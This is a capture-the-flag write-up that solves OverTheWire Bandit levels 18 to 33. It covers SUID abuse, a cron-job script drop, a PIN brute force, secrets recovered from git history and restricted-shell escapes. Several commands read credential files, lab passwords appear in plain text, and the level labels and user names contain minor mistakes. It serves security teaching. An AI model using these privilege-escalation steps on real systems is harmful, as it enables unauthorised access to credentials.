OverTheWire Bandit Part 2 WriteUp
Welcome to part 2 of the Bandit challenge! In this section, I’ll be covering levels 18 to 32, diving deeper into Linux commands, privilege escalation, and other essential security concepts. Stay tuned as we tackle the next set of challenges!
Level 18
Level Goal:
- The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.
For this task we can use the command ssh.
Command:
1
ssh -p 2220 bandit18@bandit.labs.overthewire.org bash
Breakdown:
ssh→ Starts an SSH connection.-p 2220→ Specifies port2220instead of the default22.bandit18@bandit.labs.overthewire.org→ Connects asbandit18to the server.bash→ Starts a new Bash shell after connecting, bypassing any restrictions set in.bashrc.
This approach helps avoid potential command restrictions or environment limitations applied by .bashrc.
After submitting the bandit18 password, we will not see the shell prompt, but we do have access to a file named readme that contains the bandit19 password
1
cat readme
Level 19
Level Goal:
- To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.
In this case we will learn what is a SUID binary and how to exploit it if possible.
What is a SUID Binary?
A SUID (Set User ID) binary is an executable file in Linux that runs with the permissions of its owner instead of the user executing it. This is indicated by the s permission in the owner’s execute bit (rwsr-xr-x). It is commonly used for tasks requiring elevated privileges, such as passwd. However, if misconfigured, a SUID binary can be exploited for privilege escalation, allowing unauthorized users to execute commands with higher permissions than they should have.
Once inside of the machine we can see one file inside our current directory, named bandit20-do, just by the name of the file and since it’s a SUID file owned by bandit20, we can guess that it allow us to execute commands as bandit20.
Let’s execute the command with no arguments to see what it does.
1
2
3
4
./bandit20-do
Run a command as another user.
Example: ./bandit20-do id
We were right, then we can now try to read the bandit20 password file through this binary.
1
./bandit20-do cat /etc/bandit_pass/bandit20
After executing you should see the bandit21 password in screen.
Level 20
Level Goal:
- There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).
For this task we can use the command nc.
To retrieve the password for the next level, we need to log in twice via SSH: once as to set up the listener and once to run the suconnect binary.
Step 1: Log in as bandit20 and start a listener
1
2
ssh -p 2220 bandit20@bandit.labs.overthewire.org
nc -lvnp 8888
ssh -p 2220 bandit20@bandit.labs.overthewire.org→ Logs into the Bandit server asbandit20.nc -lvnp 8888→ Starts a Netcat listener on port8888to receive incoming connections.
Step 2: Log in as bandit20 in a new terminal and run suconnect
1
2
ssh -p 2220 bandit20@bandit.labs.overthewire.org
./suconnect 8888
ssh -p 2220 bandit20@bandit.labs.overthewire.org→ Logs into the server asbandit20../suconnect 8888→ Runs thesuconnectbinary, instructing it to connect to port8888onlocalhost.
Step 3: Send the password
Once the connection is established, enter the password for bandit20 in the Netcat listener. If correct, the next level’s password (bandit21) will be sent back.
Level 21
Level Goal:
- A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
What is a CronJob?
A cron job is a scheduled task in Unix-based systems that runs automatically at specified intervals using the cron daemon. It is defined in the crontab (cron table) file, where users set commands to execute at specific times, dates, or periods.
A typical entry follows this format:
1
* * * * * command_to_run
Each * represents minute, hour, day, month, and day of the week, allowing precise scheduling. Cron jobs are commonly used for automation, like backups, system maintenance, and periodic scripts execution.
Let’s see which cronjobs are settled, we can see this in most cases taking a look at /etc/cron.d/.
1
2
3
4
5
6
7
8
ls -l /etc/cron.d/
total 24
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit22
-rw-r--r-- 1 root root 122 Sep 19 07:08 cronjob_bandit23
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit24
-rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all
-rwx------ 1 root root 52 Sep 19 07:10 otw-tmp-dir
-rw-r--r-- 1 root root 396 Jan 9 2024 sysstat
There is one file named cronjob_bandit22, let’s see what it does.
1
2
3
4
cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
Every minute a bash script located at /usr/bin/cronjob_bandit22.sh, let’s see what the script does.
1
2
3
4
5
cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
This Bash script does two things:
- Changes file permissions – It sets the permissions of
/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgvto644, meaning it is readable by everyone but writable only by the owner. - Copies the password – It writes the contents of
/etc/bandit_pass/bandit22(the password forbandit22) into the temporary file.
We can see the bandit22 password stored at /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv.
1
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Level 22
Level Goal:
- A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
Let’s see which cronjobs are settled, we can see this in most cases taking a look at /etc/cron.d/.
1
2
3
4
5
6
7
8
ls -l /etc/cron.d/
total 24
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit22
-rw-r--r-- 1 root root 122 Sep 19 07:08 cronjob_bandit23
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit24
-rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all
-rwx------ 1 root root 52 Sep 19 07:10 otw-tmp-dir
-rw-r--r-- 1 root root 396 Jan 9 2024 sysstat
There is one file named cronjob_bandit23, let’s see what it does.
1
2
3
4
cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
Every minute a bash script located at /usr/bin/cronjob_bandit23.sh, let’s see what the script does.
1
2
3
4
5
6
7
8
9
10
cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
What the Script Does
myname=$(whoami):- This command retrieves the current username using
whoamiand stores it in the variablemyname.
- This command retrieves the current username using
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1):This part generates a filename based on the current username:
echo I am user $myname: Creates a string likeI am user bandit22(if the current user isbandit22).md5sum: Computes the MD5 hash of the string.cut -d ' ' -f 1: Extracts only the hash value (the first field) from themd5sumoutput, which includes the hash and a filename.
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget":- This prints a message indicating that the script is copying the password file for the current user to a file in
/tmpwith the generated hash as its name.
- This prints a message indicating that the script is copying the password file for the current user to a file in
cat /etc/bandit_pass/$myname > /tmp/$mytarget:- This copies the contents of the password file for the current user (
/etc/bandit_pass/$myname) to the file/tmp/$mytarget.
- This copies the contents of the password file for the current user (
How to Find the Bandit23 Password
The script is part of a cron job that runs periodically. Since the cron job is running as bandit23, it will execute the script with bandit23 as the user. This means:
The script will generate a filename based on the string
I am user bandit23.It will copy the password for
bandit23to a file in/tmpwith the generated hash as its name.
To find the password for bandit23, you can simulate what the script does:
- Generate the filename:
Run the following command to compute the MD5 hash of the stringI am user bandit23:1
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
This will output a hash like
8ca319486bfbbc3663ea0fbe81326349.Locate the file in
/tmp:
The password forbandit23will be stored in a file in/tmpwith the name of the hash you just generated. For example:1
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
This will display the password for bandit23.
Level 23
Level Goal:
- A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
Let’s see which cronjobs are settled, we can see this in most cases taking a look at /etc/cron.d/.
1
2
3
4
5
6
7
8
ls -l /etc/cron.d/
total 24
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit22
-rw-r--r-- 1 root root 122 Sep 19 07:08 cronjob_bandit23
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit24
-rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all
-rwx------ 1 root root 52 Sep 19 07:10 otw-tmp-dir
-rw-r--r-- 1 root root 396 Jan 9 2024 sysstat
There is one file named cronjob_bandit24, let’s see what it does.
1
2
3
4
cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
Every minute a bash script located at /usr/bin/cronjob_bandit24.sh, let’s see what the script does.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
What the Script Does
myname=$(whoami):- Retrieves the current username (in this case,
bandit23).
- Retrieves the current username (in this case,
cd /var/spool/$myname/foo:- Changes the working directory to
/var/spool/bandit23/foo.
- Changes the working directory to
for i in * .*:- Loops through all files in the directory, including hidden files (
.and..are excluded).
- Loops through all files in the directory, including hidden files (
owner="$(stat --format "%U" ./$i)":- Retrieves the owner of the file using the
statcommand.
- Retrieves the owner of the file using the
if [ "${owner}" = "bandit23" ]; then:- Checks if the file is owned by
bandit23. If so, it executes the file with a 60-second timeout.
- Checks if the file is owned by
timeout -s 9 60 ./$i:- Executes the file and kills it if it runs for more than 60 seconds.
rm -f ./$i:- Deletes the file after execution.
Exploiting the Script
Since the script runs as bandit24 and executes files owned by bandit23, you can place a script in /var/spool/bandit24/foo that copies the password for bandit24 to a location where you can read it (e.g., /tmp).
Steps to Exploit
Create a Script:
Write a script that copies the password file forbandit24(/etc/bandit_pass/bandit24) to a location where you can read it (e.g.,/tmp).Example script (
exploit.sh):1 2
#!/bin/bash cat /etc/bandit_pass/bandit24 > /tmp/bandit24_password
Place the Script in
/var/spool/bandit24/foo:
- Copy the script to
/var/spool/bandit24/fooand ensure it’s owned bybandit23.
1
2
3
4
5
6
7
8
9
# Create the script
echo '#!/bin/bash' > /tmp/exploit.sh
echo 'cat /etc/bandit_pass/bandit24 > /tmp/bandit24_password' >> /tmp/exploit.sh
# Make it executable
chmod +x /tmp/exploit.sh
# Copy it to /var/spool/bandit24/foo
cp /tmp/exploit.sh /var/spool/bandit24/foo/
Wait for the Cron Job to Execute:
- The cron job will eventually run the script, execute it as
bandit24, and copy the password forbandit24to/tmp/bandit24_password.
- The cron job will eventually run the script, execute it as
Retrieve the Password:
- Once the cron job has run, read the password from
/tmp/bandit24_password:1
cat /tmp/bandit24_password
- Once the cron job has run, read the password from
Level 24
Level Goal:
- A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
For this task I’ve created a bash script, that will generate every combination from 0000 to 9999.
1
2
3
4
5
6
7
#!/bin/bash
for i in {0000..9999}; do
echo "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i"
done
What the Script Does
for i in {0000..9999}:- Loops through all 4-digit combinations from
0000to9999.
- Loops through all 4-digit combinations from
echo "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i":- For each iteration, it prints the password for
bandit24(gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8) followed by the current 4-digit pincode ($i).
- For each iteration, it prints the password for
Then, since my script do not send any data, we have to submit each combination through netcat, we can achieve this piping the script with the netcat connection.
1
./exploit.sh | nc 127.0.0.1 30002
What This Command Does
./exploit.sh:- Executes your script, which generates all possible combinations of the password for
bandit24and a 4-digit pincode.
- Executes your script, which generates all possible combinations of the password for
| nc 127.0.0.1 30002:- Pipes the output of your script to
nc(Netcat), which sends the data to the daemon listening on127.0.0.1(localhost) at port30002.
- Pipes the output of your script to
When the correct combination is found, the daemon will return the password for bandit25.
Level 25
Level Goal
- Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.
For this task we can start by checking what shell is assigned to the user bandit26.
1
2
cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
The user bandit26 is using a binary called showtext as shell, let’s see what this binary is.
1
2
3
4
5
6
7
8
cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
exec more ~/text.txt
exit 0
What the Script Does
Sets the
TERMenvironment variable tolinuxto ensure proper terminal behavior.Opens the file
~/text.txtusing themorepager, allowing the user to view its contents.The script terminates when the user exits the
morepager.
If we dig a bit in the more help page, we can learn that we can execute commands once inside of a page, so if we force more to open as pager and not just a cat, we can try to see the gain an unrestricted shell.
We can easily force more to act as a pager by resizing our shell into a smaller one, then just log in as bandit26 and you should see a message at the bottom: --more-- (66%).
Then we can execute commands pressing the key v and then writing the next commands:
1
2
:set shell=/bin/bash
:shell
After executing we should have access to a shell as bandit26.
Level 26
Level Goal:
- Good job getting a shell! Now hurry and grab the password for bandit27!
This level is entirely the same as the Level 20.
Once inside of the machine we can see one file inside our current directory, named bandit27-do, just by the name of the file and since it’s a SUID file owned by bandit27, we can guess that it allow us to execute commands as bandit27.
Let’s execute the command with no arguments to see what it does.
1
2
3
4
./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
We were right, then we can now try to read the bandit27 password file through this binary.
1
./bandit27-do cat /etc/bandit_pass/bandit27
After executing you should see the bandit28 password in screen.
Level 27
Level Goal:
- There is a git repository at
ssh://bandit27-git@localhost/home/bandit27-git/repovia the port2220. The password for the userbandit27-gitis the same as for the userbandit27. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
After it gets downloaded we get into the directory named repo and after listing the content we can see a README file.
1
2
3
cd repo
ls -l
cat README | awk 'NF{print $NF}'
Inside of the README file we can find the password of the user bandit28
Level 28
Level Goal:
- There is a git repository at
ssh://bandit28-git@localhost/home/bandit28-git/repovia the port2220. The password for the userbandit28-gitis the same as for the userbandit28. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo
After it gets downloaded we get into the directory named repo and after listing the content we can see a README.md file.
1
2
cd repo
ls -l
The README.md file contains the following content:
1
2
3
4
5
6
7
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: xxxxxxxxxx
There is a censured password field, but this repository may have suffered commits and the password has been visible in the past.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
git log -p
commit 817e303aa6c2b207ea043c7bba1bb7575dc4ea73 (HEAD -> master, origin/master, origin/HEAD)
Author: Morla Porla <morla@overthewire.org>
Date: Thu Sep 19 07:08:39 2024 +0000
fix info leak
diff --git a/README.md b/README.md
index d4e3b74..5c6457b 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials
- username: bandit29
-- password: 4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7
+- password: xxxxxxxxxx
git log: Shows the commit history, including commit hashes, authors, dates, and commit messages.-p(or--patch): Adds the “diff” (changes) for each commit, showing exactly what was added or removed in that commit.
In the results we can see that there is a commit named fix info leak that shows that the password field has been changed from the password to a censored password.
Level 29
Level Goal:
- There is a git repository at
ssh://bandit29-git@localhost/home/bandit29-git/repovia the port2220. The password for the userbandit29-gitis the same as for the userbandit29. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo
After it gets downloaded we get into the directory named repo and after listing the content we can see a README.md file.
1
2
cd repo
ls -l
The README.md file contains the following content:
1
2
3
4
5
6
7
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: <no passwords in production!>
In this case after executing git log -p we don’t see any change, but we can try to see if there is any change in other branch.
1
2
3
4
5
git branch -r
origin/HEAD -> origin/master
origin/dev
origin/master
origin/sploits-dev
git branch: Manages branches in your repository.-r(or--remotes): Specifies that only remote-tracking branches should be listed.
The dev branch looks interesting, so let’s migrate to the dev branch.
1
git checkout dev
git checkout: Switches to a branch or commit.dev: The branch you want to switch to.
Once inside if we try opening the README.md file we can see that the password is now in the password field.
Level 30
Level Goal:
- There is a git repository at
ssh://bandit30-git@localhost/home/bandit30-git/repovia the port2220. The password for the userbandit30-gitis the same as for the userbandit30. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit30-git@localhost:2220/home/bandit30-git/repo
After it gets downloaded we get into the directory named repo and after listing the content we can see a README.md file.
1
2
cd repo
ls -l
The README.md file contains the following content:
1
2
cat README.md
just an epmty file... muahaha
We will find nothing in the logs and branches, so let’s see if there is any tag.
1
2
3
git tag
secret
- This will display all the tags in your repository.
There is a tag named secret, let’s see what’s inside.
1
git show secret
This will display the password for bandit31.
Level 31
Level Goal:
- There is a git repository at
ssh://bandit31-git@localhost/home/bandit31-git/repovia the port2220. The password for the userbandit31-gitis the same as for the userbandit31. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit31-git@localhost:2220/home/bandit31-git/repo
After it gets downloaded we get into the directory named repo and after listing the content we can see a README.md file.
1
2
cd repo
ls -l
The README.md file contains the following content:
1
2
3
4
5
6
7
cat README.md
This time your task is to push a file to the remote repository.
Details:
File name: key.txt
Content: 'May I come in?'
Branch: master
It is asking us to make a commit with the conditions that we can see above, so let’s start by creating the file key.txt and adding the content May I come in?.
1
echo "May I come in?" > key.txt
Then we have to add the file to t
1
2
3
git add -f key.txt
git commit -m "Adding new key"
git push -u origin master
Summary of the Workflow:
Force-add
key.txtto the staging area, even if it’s ignored.Commit the changes with a message describing what was done.
Push the changes to the
masterbranch on the remote repository (origin) and set up tracking for future pushes/pulls.
After pushing the changes, we should see the password of the user bandit32 in the output.
Level 32
Level Goal:
- After all this
gitstuff, it’s time for another escape. Good luck!
In this level we are facing a shell called the UPPERCASE SHELL, this shell changes all lower case letters to upper case letters, this means that we can’t execute any command.
In most UNIX-like systems, there is a universal variable, $0, which typically refers to the current shell (e.g., bash). When you execute $0, it spawns a new instance of the shell, potentially providing an unrestricted shell environment.
1
$0
Once with a normal bash, we can read the bandit33 password at /etc/bandit_pass/bandit33
Level 33
There is no level 33, after login as bandit33 we will see just a congratulation file.
So that means that this level is the last one.
Conclusion
We’ve now completed the Bandit wargame, having tackled its challenges and honed our Linux and security skills. Thank you to OverTheWire for this invaluable learning experience.
Whether you’re starting out or advancing your knowledge, these exercises provide a solid foundation for further exploration in cybersecurity.
Thank you for following along. Keep learning, practicing, and Happy Hacking.
